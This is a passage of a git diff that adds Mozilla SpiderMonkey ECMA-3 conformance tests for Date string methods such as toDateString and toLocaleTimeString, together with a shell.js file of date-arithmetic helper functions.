+ ECMA Section: 15.9.5.3 Date.prototype.toDateString()
+ Description:
+ This function returns a string value. The contents of the string are
+ implementation dependent, but are intended to represent the "date"
+ portion of the Date in the current time zone in a convenient,
+ human-readable form. We can't test the content of the string,
+ but can verify that the string is parsable by Date.parse
+
+ The toDateString function is not generic; it generates a runtime error
+ if its 'this' value is not a Date object. Therefore it cannot be transferred
+ to other kinds of objects for use as a method.
+
+ Author: pschwartau@netscape.com
+ Date: 14 november 2000 (adapted from ecma/Date/15.9.5.2.js)
+*/
+
+var SECTION = "15.9.5.3";
+var VERSION = "ECMA_3";
+var TITLE = "Date.prototype.toDateString()";
+
+var status = '';
+var actual = '';
+var expect = '';
+
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// first, some generic tests -
+
+status = "typeof (now.toDateString())";
+actual = typeof (now.toDateString());
+expect = "string";
+addTestCase();
+
+status = "Date.prototype.toDateString.length";
+actual = Date.prototype.toDateString.length;
+expect = 0;
+addTestCase();
+
+/*
+ * Date.parse is accurate to the second; valueOf() to the millisecond.
+ * Here we expect them to coincide, as we expect a time of exactly
+ * midnight -
+ */
+status = "(Date.parse(now.toDateString()) - (midnight(now)).valueOf()) == 0";
+actual = (Date.parse(now.toDateString()) - (midnight(now)).valueOf()) == 0;
+expect = true;
+addTestCase();
+
+
+
+// 1970
+addDateTestCase(0);
+addDateTestCase(TZ_ADJUST);
+
+
+// 1900
+addDateTestCase(TIME_1900);
+addDateTestCase(TIME_1900 - TZ_ADJUST);
+
+
+// 2000
+addDateTestCase(TIME_2000);
+addDateTestCase(TIME_2000 - TZ_ADJUST);
+
+
+// 29 Feb 2000
+addDateTestCase(UTC_29_FEB_2000);
+addDateTestCase(UTC_29_FEB_2000 - 1000);
+addDateTestCase(UTC_29_FEB_2000 - TZ_ADJUST);
+
+
+// 2005
+addDateTestCase(UTC_1_JAN_2005);
+addDateTestCase(UTC_1_JAN_2005 - 1000);
+addDateTestCase(UTC_1_JAN_2005 - TZ_ADJUST);
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addTestCase()
+{
+ new TestCase(
+ SECTION,
+ status,
+ expect,
+ actual);
+}
+
+function addDateTestCase(date_given_in_milliseconds)
+{
+ var givenDate = new Date(date_given_in_milliseconds);
+
+ status = 'Date.parse(' + givenDate + ').toDateString())';
+ actual = Date.parse(givenDate.toDateString());
+ expect = Date.parse(midnight(givenDate));
+ addTestCase();
+}
+
+
+function midnight(givenDate)
+{
+ // midnight on the given date -
+ return new Date(givenDate.getFullYear(), givenDate.getMonth(), givenDate.getDate());
+}
+
diff --git a/js/src/tests/ecma_3/Date/15.9.5.4.js b/js/src/tests/ecma_3/Date/15.9.5.4.js
new file mode 100644
index 000000000..89a296571
--- /dev/null
+++ b/js/src/tests/ecma_3/Date/15.9.5.4.js
@@ -0,0 +1,151 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/**
+ File Name: 15.9.5.4.js
+ ECMA Section: 15.9.5.4 Date.prototype.toTimeString()
+ Description:
+ This function returns a string value. The contents of the string are
+ implementation dependent, but are intended to represent the "time"
+ portion of the Date in the current time zone in a convenient,
+ human-readable form. We test the content of the string by checking
+ that d.toDateString() + d.toTimeString() == d.toString()
+
+ Author: pschwartau@netscape.com
+ Date: 14 november 2000
+ Revised: 07 january 2002 because of a change in JS Date format:
+
+ See http://bugzilla.mozilla.org/show_bug.cgi?id=118266 (SpiderMonkey)
+ See http://bugzilla.mozilla.org/show_bug.cgi?id=118636 (Rhino)
+*/
+//-----------------------------------------------------------------------------
+var SECTION = "15.9.5.4";
+var VERSION = "ECMA_3";
+var TITLE = "Date.prototype.toTimeString()";
+
+var status = '';
+var actual = '';
+var expect = '';
+var givenDate;
+var year = '';
+var regexp = '';
+var reducedDateString = '';
+var hopeThisIsTimeString = '';
+var cnEmptyString = '';
+var cnERR ='OOPS! FATAL ERROR: no regexp match in extractTimeString()';
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// first, a couple of generic tests -
+
+status = "typeof (now.toTimeString())";
+actual = typeof (now.toTimeString());
+expect = "string";
+addTestCase();
+
+status = "Date.prototype.toTimeString.length";
+actual = Date.prototype.toTimeString.length;
+expect = 0;
+addTestCase();
+
+// 1970
+addDateTestCase(0);
+addDateTestCase(TZ_ADJUST);
+
+
+// 1900
+addDateTestCase(TIME_1900);
+addDateTestCase(TIME_1900 - TZ_ADJUST);
+
+
+// 2000
+addDateTestCase(TIME_2000);
+addDateTestCase(TIME_2000 - TZ_ADJUST);
+
+
+// 29 Feb 2000
+addDateTestCase(UTC_29_FEB_2000);
+addDateTestCase(UTC_29_FEB_2000 - 1000);
+addDateTestCase(UTC_29_FEB_2000 - TZ_ADJUST);
+
+
+// Now
+addDateTestCase( TIME_NOW);
+addDateTestCase( TIME_NOW - TZ_ADJUST);
+
+
+// 2005
+addDateTestCase(UTC_1_JAN_2005);
+addDateTestCase(UTC_1_JAN_2005 - 1000);
+addDateTestCase(UTC_1_JAN_2005 - TZ_ADJUST);
+
+//-----------------------------------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------------------------------
+
+function addTestCase()
+{
+ new TestCase(
+ SECTION,
+ status,
+ expect,
+ actual);
+}
+
+function addDateTestCase(date_given_in_milliseconds)
+{
+ givenDate = new Date(date_given_in_milliseconds);
+
+ status = '(' + givenDate + ').toTimeString()';
+ actual = givenDate.toTimeString();
+ expect = extractTimeString(givenDate);
+ addTestCase();
+}
+
+
+/*
+ * As of 2002-01-07, the format for JavaScript dates changed.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=118266 (SpiderMonkey)
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=118636 (Rhino)
+ *
+ * WAS: Mon Jan 07 13:40:34 GMT-0800 (Pacific Standard Time) 2002
+ * NOW: Mon Jan 07 2002 13:40:34 GMT-0800 (Pacific Standard Time)
+ *
+ * Thus, use a regexp of the form /date.toDateString()(.*)$/
+ * to capture the TimeString into the first backreference -
+ */
+function extractTimeString(date)
+{
+ regexp = new RegExp(date.toDateString() + '(.*)' + '$');
+
+ try
+ {
+ hopeThisIsTimeString = date.toString().match(regexp)[1];
+ }
+ catch(e)
+ {
+ return cnERR;
+ }
+
+ // trim any leading or trailing spaces -
+ return trimL(trimR(hopeThisIsTimeString));
+}
+
+
+function trimL(s)
+{
+ if (!s) {return cnEmptyString;};
+ for (var i = 0; i!=s.length; i++) {if (s[i] != ' ') {break;}}
+ return s.substring(i);
+}
+
+
+function trimR(s)
+{
+ if (!s) {return cnEmptyString;};
+ for (var i = (s.length - 1); i!=-1; i--) {if (s[i] != ' ') {break;}}
+ return s.substring(0, i+1);
+}
diff --git a/js/src/tests/ecma_3/Date/15.9.5.5-02.js b/js/src/tests/ecma_3/Date/15.9.5.5-02.js
new file mode 100644
index 000000000..56f951784
--- /dev/null
+++ b/js/src/tests/ecma_3/Date/15.9.5.5-02.js
@@ -0,0 +1,66 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 398485;
+var summary = 'Date.prototype.toLocaleString should not clamp year';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var d;
+ var y;
+ var l;
+ var maxms = 8640000000000000;
+
+ d = new Date(-maxms );
+ y = d.getFullYear();
+
+ actual = y;
+ expect = -271821;
+ reportCompare(expect, actual, summary + ': check year');
+
+ l = d.toLocaleString();
+ print(l);
+ if (this.hasOwnProperty("Intl")) {
+ // ECMA-402 specifies that toLocaleString uses a proleptic Gregorian
+ // calender without year 0.
+ // Also, localized strings usually use era indicators such as "BC"
+ // instead of minus signs.
+ expect = Math.abs(y - 1) + '';
+ } else {
+ // ECMA-262 up to edition 5.1 didn't specify toLocaleString;
+ // the previous implementation assumed a calendar with year 0 and used
+ // minus sign.
+ expect = y + '';
+ }
+ actual = l.match(/-?[0-9]{3,}/) + '';
+ reportCompare(expect, actual, summary + ': check toLocaleString');
+
+ d = new Date(maxms );
+ y = d.getFullYear();
+ l = d.toLocaleString();
+ print(l);
+
+ actual = y;
+ expect = 275760;
+ reportCompare(expect, actual, summary + ': check year');
+
+ actual = l.match(new RegExp(y)) + '';
+ expect = y + '';
+ reportCompare(expect, actual, summary + ': check toLocaleString');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Date/15.9.5.5.js b/js/src/tests/ecma_3/Date/15.9.5.5.js
new file mode 100644
index 000000000..27a2df956
--- /dev/null
+++ b/js/src/tests/ecma_3/Date/15.9.5.5.js
@@ -0,0 +1,111 @@
+// |reftest| random-if(xulRuntime.OS=="Linux")
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.5.js
+ ECMA Section: 15.9.5.5 Date.prototype.toLocaleString()
+ Description:
+ This function returns a string value. The contents of the string are
+ implementation dependent, but are intended to represent the "date"
+ portion of the Date in the current time zone in a convenient,
+ human-readable form. We can't test the content of the string,
+ but can verify that the string is parsable by Date.parse
+
+ The toLocaleString function is not generic; it generates a runtime error
+ if its 'this' value is not a Date object. Therefore it cannot be transferred
+ to other kinds of objects for use as a method.
+
+ Note: This test isn't supposed to work with a non-English locale per spec.
+
+ Author: pschwartau@netscape.com
+ Date: 14 november 2000
+*/
+
+var SECTION = "15.9.5.5";
+var VERSION = "ECMA_3";
+var TITLE = "Date.prototype.toLocaleString()";
+
+var status = '';
+var actual = '';
+var expect = '';
+
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// first, some generic tests -
+
+status = "typeof (now.toLocaleString())";
+actual = typeof (now.toLocaleString());
+expect = "string";
+addTestCase();
+
+status = "Date.prototype.toLocaleString.length";
+actual = Date.prototype.toLocaleString.length;
+expect = 0;
+addTestCase();
+
+// Date.parse is accurate to the second; valueOf() to the millisecond -
+status = "Math.abs(Date.parse(now.toLocaleString('en-US')) - now.valueOf()) < 1000";
+actual = Math.abs(Date.parse(now.toLocaleString('en-US')) - now.valueOf()) < 1000;
+expect = true;
+addTestCase();
+
+
+
+// 1970
+addDateTestCase(0);
+addDateTestCase(TZ_ADJUST);
+
+
+// 1900
+addDateTestCase(TIME_1900);
+addDateTestCase(TIME_1900 -TZ_ADJUST);
+
+
+// 2000
+addDateTestCase(TIME_2000);
+addDateTestCase(TIME_2000 -TZ_ADJUST);
+
+
+// 29 Feb 2000
+addDateTestCase(UTC_29_FEB_2000);
+addDateTestCase(UTC_29_FEB_2000 - 1000);
+addDateTestCase(UTC_29_FEB_2000 - TZ_ADJUST);
+
+
+// 2005
+addDateTestCase(UTC_1_JAN_2005);
+addDateTestCase(UTC_1_JAN_2005 - 1000);
+addDateTestCase(UTC_1_JAN_2005-TZ_ADJUST);
+
+
+
+//-----------------------------------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------------------------------
+
+
+function addTestCase()
+{
+ AddTestCase(
+ status,
+ expect,
+ actual);
+}
+
+
+function addDateTestCase(date_given_in_milliseconds)
+{
+ var givenDate = new Date(date_given_in_milliseconds);
+
+ status = 'Date.parse(' + givenDate + ').toLocaleString("en-US"))';
+ actual = Date.parse(givenDate.toLocaleString("en-US"));
+ expect = date_given_in_milliseconds;
+ addTestCase();
+}
+
diff --git a/js/src/tests/ecma_3/Date/15.9.5.6.js b/js/src/tests/ecma_3/Date/15.9.5.6.js
new file mode 100644
index 000000000..6d091b600
--- /dev/null
+++ b/js/src/tests/ecma_3/Date/15.9.5.6.js
@@ -0,0 +1,119 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.6.js
+ ECMA Section: 15.9.5.6 Date.prototype.toLocaleDateString()
+ Description:
+ This function returns a string value. The contents of the string are
+ implementation dependent, but are intended to represent the "date"
+ portion of the Date in the current time zone in a convenient,
+ human-readable form. We can't test the content of the string,
+ but can verify that the string is parsable by Date.parse
+
+ The toLocaleDateString function is not generic; it generates a runtime error
+ if its 'this' value is not a Date object. Therefore it cannot be transferred
+ to other kinds of objects for use as a method.
+
+ Note: This test isn't supposed to work with a non-English locale per spec.
+
+ Author: pschwartau@netscape.com
+ Date: 14 november 2000
+*/
+
+var SECTION = "15.9.5.6";
+var VERSION = "ECMA_3";
+var TITLE = "Date.prototype.toLocaleDateString()";
+
+var status = '';
+var actual = '';
+var expect = '';
+
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// first, some generic tests -
+
+status = "typeof (now.toLocaleDateString())";
+actual = typeof (now.toLocaleDateString());
+expect = "string";
+addTestCase();
+
+status = "Date.prototype.toLocaleDateString.length";
+actual = Date.prototype.toLocaleDateString.length;
+expect = 0;
+addTestCase();
+
+/* Date.parse is accurate to the second; valueOf() to the millisecond.
+ Here we expect them to coincide, as we expect a time of exactly midnight - */
+status = "(Date.parse(now.toLocaleDateString('en-US')) - (midnight(now)).valueOf()) == 0";
+actual = (Date.parse(now.toLocaleDateString('en-US')) - (midnight(now)).valueOf()) == 0;
+expect = true;
+addTestCase();
+
+
+
+// 1970
+addDateTestCase(0);
+addDateTestCase(TZ_ADJUST);
+
+
+// 1900
+addDateTestCase(TIME_1900);
+addDateTestCase(TIME_1900 - TZ_ADJUST);
+
+
+// 2000
+addDateTestCase(TIME_2000);
+addDateTestCase(TIME_2000 - TZ_ADJUST);
+
+
+// 29 Feb 2000
+addDateTestCase(UTC_29_FEB_2000);
+addDateTestCase(UTC_29_FEB_2000 - 1000);
+addDateTestCase(UTC_29_FEB_2000 - TZ_ADJUST);
+
+
+// 2005
+addDateTestCase(UTC_1_JAN_2005);
+addDateTestCase(UTC_1_JAN_2005 - 1000);
+addDateTestCase(UTC_1_JAN_2005 - TZ_ADJUST);
+
+
+
+//-----------------------------------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------------------------------
+
+
+function addTestCase()
+{
+ new TestCase(
+ "unknown-test-name",
+ status,
+ expect,
+ actual);
+}
+
+
+function addDateTestCase(date_given_in_milliseconds)
+{
+ var givenDate = new Date(date_given_in_milliseconds);
+
+ status = 'Date.parse(' + givenDate + ').toLocaleDateString("en-US"))';
+ actual = Date.parse(givenDate.toLocaleDateString("en-US"));
+ expect = Date.parse(midnight(givenDate));
+ addTestCase();
+}
+
+
+function midnight(givenDate)
+{
+ // midnight on the given date -
+ return new Date(givenDate.getFullYear(), givenDate.getMonth(), givenDate.getDate());
+}
+
diff --git a/js/src/tests/ecma_3/Date/15.9.5.7.js b/js/src/tests/ecma_3/Date/15.9.5.7.js
new file mode 100644
index 000000000..f116f3e65
--- /dev/null
+++ b/js/src/tests/ecma_3/Date/15.9.5.7.js
@@ -0,0 +1,108 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/**
+ File Name: 15.9.5.7.js
+ ECMA Section: 15.9.5.7 Date.prototype.toLocaleTimeString()
+ Description:
+ This function returns a string value. The contents of the string are
+ implementation dependent, but are intended to represent the "time"
+ portion of the Date in the current time zone in a convenient,
+ human-readable form. We test the content of the string by checking
+ that
+
+ new Date(d.toDateString() + " " + d.toLocaleTimeString()) == d
+
+ Author: pschwartau@netscape.com
+ Date: 14 november 2000
+ Revised: 07 january 2002 because of a change in JS Date format:
+ Revised: 21 November 2005 since the string comparison stuff is horked.
+ bclary
+
+ See http://bugzilla.mozilla.org/show_bug.cgi?id=118266 (SpiderMonkey)
+ See http://bugzilla.mozilla.org/show_bug.cgi?id=118636 (Rhino)
+*/
+//-----------------------------------------------------------------------------
+var SECTION = "15.9.5.7";
+var VERSION = "ECMA_3";
+var TITLE = "Date.prototype.toLocaleTimeString()";
+
+var status = '';
+var actual = '';
+var expect = '';
+var givenDate;
+var year = '';
+var regexp = '';
+var TimeString = '';
+var reducedDateString = '';
+var hopeThisIsLocaleTimeString = '';
+var cnERR ='OOPS! FATAL ERROR: no regexp match in extractLocaleTimeString()';
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// first, a couple generic tests -
+
+status = "typeof (now.toLocaleTimeString())";
+actual = typeof (now.toLocaleTimeString());
+expect = "string";
+addTestCase();
+
+status = "Date.prototype.toLocaleTimeString.length";
+actual = Date.prototype.toLocaleTimeString.length;
+expect = 0;
+addTestCase();
+
+// 1970
+addDateTestCase(0);
+addDateTestCase(TZ_ADJUST);
+
+// 1900
+addDateTestCase(TIME_1900);
+addDateTestCase(TIME_1900 - TZ_ADJUST);
+
+// 2000
+addDateTestCase(TIME_2000);
+addDateTestCase(TIME_2000 - TZ_ADJUST);
+
+// 29 Feb 2000
+addDateTestCase(UTC_29_FEB_2000);
+addDateTestCase(UTC_29_FEB_2000 - 1000);
+addDateTestCase(UTC_29_FEB_2000 - TZ_ADJUST);
+
+// Now
+addDateTestCase( TIME_NOW);
+addDateTestCase( TIME_NOW - TZ_ADJUST);
+
+// 2005
+addDateTestCase(UTC_1_JAN_2005);
+addDateTestCase(UTC_1_JAN_2005 - 1000);
+addDateTestCase(UTC_1_JAN_2005 - TZ_ADJUST);
+
+test();
+
+function addTestCase()
+{
+ new TestCase(
+ SECTION,
+ status,
+ expect,
+ actual);
+}
+
+
+function addDateTestCase(date_given_in_milliseconds)
+{
+ var s = 'new Date(' + date_given_in_milliseconds + ')';
+ givenDate = new Date(date_given_in_milliseconds);
+
+ status = 'd = ' + s +
+ '; d == new Date(d.toDateString() + " " + d.toLocaleTimeString())';
+ expect = givenDate.toString();
+ actual = new Date(givenDate.toDateString() +
+ ' ' + givenDate.toLocaleTimeString()).toString();
+ addTestCase();
+}
+
diff --git a/js/src/tests/ecma_3/Date/browser.js b/js/src/tests/ecma_3/Date/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Date/browser.js
diff --git a/js/src/tests/ecma_3/Date/regress-452786.js b/js/src/tests/ecma_3/Date/regress-452786.js
new file mode 100644
index 000000000..a140a844b
--- /dev/null
+++ b/js/src/tests/ecma_3/Date/regress-452786.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452786;
+var summary = 'Do not crash with (new Date()).getMonth.call(new Function())';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (new Date()).getMonth.call(new Function());
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Date/shell.js b/js/src/tests/ecma_3/Date/shell.js
new file mode 100644
index 000000000..bc01272b1
--- /dev/null
+++ b/js/src/tests/ecma_3/Date/shell.js
@@ -0,0 +1,530 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/*
+ * Date functions used by tests in Date suite
+ *
+ */
+var msPerDay = 86400000;
+var HoursPerDay = 24;
+var MinutesPerHour = 60;
+var SecondsPerMinute = 60;
+var msPerSecond = 1000;
+var msPerMinute = 60000; // msPerSecond * SecondsPerMinute
+var msPerHour = 3600000; // msPerMinute * MinutesPerHour
+var TZ_DIFF = getTimeZoneDiff(); // offset of tester's timezone from UTC
+var TZ_ADJUST = TZ_DIFF * msPerHour;
+var TZ_PST = -8; // offset of Pacific Standard Time from UTC
+var PST_DIFF = TZ_DIFF - TZ_PST; // offset of tester's timezone from PST
+var TIME_1970 = 0;
+var TIME_2000 = 946684800000;
+var TIME_1900 = -2208988800000;
+var UTC_29_FEB_2000 = TIME_2000 + 31*msPerDay + 28*msPerDay;
+var UTC_1_JAN_2005 = TIME_2000 + TimeInYear(2000) + TimeInYear(2001) +
+ TimeInYear(2002) + TimeInYear(2003) + TimeInYear(2004);
+var now = new Date();
+var TIME_NOW = now.valueOf(); //valueOf() is to accurate to the millisecond
+ //Date.parse() is accurate only to the second
+
+/*
+ * Originally, the test suite used a hard-coded value TZ_DIFF = -8.
+ * But that was only valid for testers in the Pacific Standard Time Zone!
+ * We calculate the proper number dynamically for any tester. We just
+ * have to be careful not to use a date subject to Daylight Savings Time...
+ */
+function getTimeZoneDiff()
+{
+ return -((new Date(2000, 1, 1)).getTimezoneOffset())/60;
+}
+
+
+/*
+ * Date test "ResultArrays" are hard-coded for Pacific Standard Time.
+ * We must adjust them for the tester's own timezone -
+ */
+function adjustResultArray(ResultArray, msMode)
+{
+ // If the tester's system clock is in PST, no need to continue -
+ if (!PST_DIFF) {return;}
+
+ /* The date testcases instantiate Date objects in two different ways:
+ *
+ * millisecond mode: e.g. dt = new Date(10000000);
+ * year-month-day mode: dt = new Date(2000, 5, 1, ...);
+ *
+ * In the first case, the date is measured from Time 0 in Greenwich (i.e. UTC).
+ * In the second case, it is measured with reference to the tester's local timezone.
+ *
+ * In the first case we must correct those values expected for local measurements,
+ * like dt.getHours() etc. No correction is necessary for dt.getUTCHours() etc.
+ *
+ * In the second case, it is exactly the other way around -
+ */
+ if (msMode)
+ {
+ // The hard-coded UTC milliseconds from Time 0 derives from a UTC date.
+ // Shift to the right by the offset between UTC and the tester.
+ var t = ResultArray[TIME] + TZ_DIFF*msPerHour;
+
+ // Use our date arithmetic functions to determine the local hour, day, etc.
+ ResultArray[HOURS] = HourFromTime(t);
+ ResultArray[DAY] = WeekDay(t);
+ ResultArray[DATE] = DateFromTime(t);
+ ResultArray[MONTH] = MonthFromTime(t);
+ ResultArray[YEAR] = YearFromTime(t);
+ }
+ else
+ {
+ // The hard-coded UTC milliseconds from Time 0 derives from a PST date.
+ // Shift to the left by the offset between PST and the tester.
+ var t = ResultArray[TIME] - PST_DIFF*msPerHour;
+
+ // Use our date arithmetic functions to determine the UTC hour, day, etc.
+ ResultArray[TIME] = t;
+ ResultArray[UTC_HOURS] = HourFromTime(t);
+ ResultArray[UTC_DAY] = WeekDay(t);
+ ResultArray[UTC_DATE] = DateFromTime(t);
+ ResultArray[UTC_MONTH] = MonthFromTime(t);
+ ResultArray[UTC_YEAR] = YearFromTime(t);
+ }
+}
+
+
+function Day( t ) {
+ return ( Math.floor(t/msPerDay ) );
+}
+function DaysInYear( y ) {
+ if ( y % 4 != 0 ) {
+ return 365;
+ }
+ if ( (y % 4 == 0) && (y % 100 != 0) ) {
+ return 366;
+ }
+ if ( (y % 100 == 0) && (y % 400 != 0) ) {
+ return 365;
+ }
+ if ( (y % 400 == 0) ){
+ return 366;
+ } else {
+ return "ERROR: DaysInYear(" + y + ") case not covered";
+ }
+}
+function TimeInYear( y ) {
+ return ( DaysInYear(y) * msPerDay );
+}
+function DayNumber( t ) {
+ return ( Math.floor( t / msPerDay ) );
+}
+function TimeWithinDay( t ) {
+
+ var r = t % msPerDay;
+
+ if (r < 0)
+ {
+ r += msPerDay;
+ }
+ return r;
+
+}
+function YearNumber( t ) {
+}
+function TimeFromYear( y ) {
+ return ( msPerDay * DayFromYear(y) );
+}
+function DayFromYear( y ) {
+ return ( 365*(y-1970) +
+ Math.floor((y-1969)/4) -
+ Math.floor((y-1901)/100) +
+ Math.floor((y-1601)/400) );
+}
+function InLeapYear( t ) {
+ if ( DaysInYear(YearFromTime(t)) == 365 ) {
+ return 0;
+ }
+ if ( DaysInYear(YearFromTime(t)) == 366 ) {
+ return 1;
+ } else {
+ return "ERROR: InLeapYear("+ t + ") case not covered";
+ }
+}
+function YearFromTime( t ) {
+ t = Number( t );
+ var sign = ( t < 0 ) ? -1 : 1;
+ var year = ( sign < 0 ) ? 1969 : 1970;
+ for ( var timeToTimeZero = t; ; ) {
+ // subtract the current year's time from the time that's left.
+ timeToTimeZero -= sign * TimeInYear(year)
+
+ // if there's less than the current year's worth of time left, then break.
+ if ( sign < 0 ) {
+ if ( sign * timeToTimeZero <= 0 ) {
+ break;
+ } else {
+ year += sign;
+ }
+ } else {
+ if ( sign * timeToTimeZero < 0 ) {
+ break;
+ } else {
+ year += sign;
+ }
+ }
+ }
+ return ( year );
+}
+function MonthFromTime( t ) {
+ // i know i could use switch but i'd rather not until it's part of ECMA
+ var day = DayWithinYear( t );
+ var leap = InLeapYear(t);
+
+ if ( (0 <= day) && (day < 31) ) {
+ return 0;
+ }
+ if ( (31 <= day) && (day < (59+leap)) ) {
+ return 1;
+ }
+ if ( ((59+leap) <= day) && (day < (90+leap)) ) {
+ return 2;
+ }
+ if ( ((90+leap) <= day) && (day < (120+leap)) ) {
+ return 3;
+ }
+ if ( ((120+leap) <= day) && (day < (151+leap)) ) {
+ return 4;
+ }
+ if ( ((151+leap) <= day) && (day < (181+leap)) ) {
+ return 5;
+ }
+ if ( ((181+leap) <= day) && (day < (212+leap)) ) {
+ return 6;
+ }
+ if ( ((212+leap) <= day) && (day < (243+leap)) ) {
+ return 7;
+ }
+ if ( ((243+leap) <= day) && (day < (273+leap)) ) {
+ return 8;
+ }
+ if ( ((273+leap) <= day) && (day < (304+leap)) ) {
+ return 9;
+ }
+ if ( ((304+leap) <= day) && (day < (334+leap)) ) {
+ return 10;
+ }
+ if ( ((334+leap) <= day) && (day < (365+leap)) ) {
+ return 11;
+ } else {
+ return "ERROR: MonthFromTime("+t+") not known";
+ }
+}
+function DayWithinYear( t ) {
+ return( Day(t) - DayFromYear(YearFromTime(t)));
+}
+function DateFromTime( t ) {
+ var day = DayWithinYear(t);
+ var month = MonthFromTime(t);
+
+ if ( month == 0 ) {
+ return ( day + 1 );
+ }
+ if ( month == 1 ) {
+ return ( day - 30 );
+ }
+ if ( month == 2 ) {
+ return ( day - 58 - InLeapYear(t) );
+ }
+ if ( month == 3 ) {
+ return ( day - 89 - InLeapYear(t));
+ }
+ if ( month == 4 ) {
+ return ( day - 119 - InLeapYear(t));
+ }
+ if ( month == 5 ) {
+ return ( day - 150- InLeapYear(t));
+ }
+ if ( month == 6 ) {
+ return ( day - 180- InLeapYear(t));
+ }
+ if ( month == 7 ) {
+ return ( day - 211- InLeapYear(t));
+ }
+ if ( month == 8 ) {
+ return ( day - 242- InLeapYear(t));
+ }
+ if ( month == 9 ) {
+ return ( day - 272- InLeapYear(t));
+ }
+ if ( month == 10 ) {
+ return ( day - 303- InLeapYear(t));
+ }
+ if ( month == 11 ) {
+ return ( day - 333- InLeapYear(t));
+ }
+
+ return ("ERROR: DateFromTime("+t+") not known" );
+}
+function WeekDay( t ) {
+ var weekday = (Day(t)+4) % 7;
+ return( weekday < 0 ? 7 + weekday : weekday );
+}
+
+// missing daylight savings time adjustment
+
+function HourFromTime( t ) {
+ var h = Math.floor( t / msPerHour ) % HoursPerDay;
+ return ( (h<0) ? HoursPerDay + h : h );
+}
+function MinFromTime( t ) {
+ var min = Math.floor( t / msPerMinute ) % MinutesPerHour;
+ return( ( min < 0 ) ? MinutesPerHour + min : min );
+}
+function SecFromTime( t ) {
+ var sec = Math.floor( t / msPerSecond ) % SecondsPerMinute;
+ return ( (sec < 0 ) ? SecondsPerMinute + sec : sec );
+}
+function msFromTime( t ) {
+ var ms = t % msPerSecond;
+ return ( (ms < 0 ) ? msPerSecond + ms : ms );
+}
+function LocalTZA() {
+ return ( TZ_DIFF * msPerHour );
+}
+function UTC( t ) {
+ return ( t - LocalTZA() - DaylightSavingTA(t - LocalTZA()) );
+}
+
+function DaylightSavingTA( t ) {
+ t = t - LocalTZA();
+
+ var dst_start = GetDSTStart(t);
+ var dst_end = GetDSTEnd(t);
+
+ if ( t >= dst_start && t < dst_end )
+ return msPerHour;
+
+ return 0;
+}
+
+function GetFirstSundayInMonth( t, m ) {
+ var year = YearFromTime(t);
+ var leap = InLeapYear(t);
+
+// month m 0..11
+// april == 3
+// march == 2
+
+ // set time to first day of month m
+ var time = TimeFromYear(year);
+ for (var i = 0; i < m; ++i)
+ {
+ time += TimeInMonth(i, leap);
+ }
+
+ for ( var first_sunday = time; WeekDay(first_sunday) > 0;
+ first_sunday += msPerDay )
+ {
+ ;
+ }
+
+ return first_sunday;
+}
+
+function GetLastSundayInMonth( t, m ) {
+ var year = YearFromTime(t);
+ var leap = InLeapYear(t);
+
+// month m 0..11
+// april == 3
+// march == 2
+
+ // first day of following month
+ var time = TimeFromYear(year);
+ for (var i = 0; i <= m; ++i)
+ {
+ time += TimeInMonth(i, leap);
+ }
